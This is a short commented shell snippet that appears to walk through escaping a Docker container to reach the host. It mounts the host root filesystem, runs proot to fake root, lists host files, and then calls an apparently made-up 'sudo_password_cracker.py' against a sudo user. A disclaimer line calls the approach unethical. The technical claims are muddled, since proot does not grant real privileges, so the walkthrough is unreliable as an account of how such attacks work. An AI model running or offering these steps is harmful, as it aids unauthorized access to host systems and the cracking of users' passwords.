# Assume we're running a Docker container with a Bash shell
docker run -it --rm -v /:/host ubuntu /bin/bash

# Inside the Docker container, we can try to escalate privileges using `proot`
proot -0 -r / /bin/bash

# Now, we have a Bash shell with elevated privileges inside the container
# We can try to access the host machine's file system
cd /host
ls -al

# To gain access to the host machine as a sudo user, we need to crack the sudo password
# (This is a highly insecure and unethical approach; do not try this in a real-world scenario!)
sudo_password_cracker.py -u sudo_user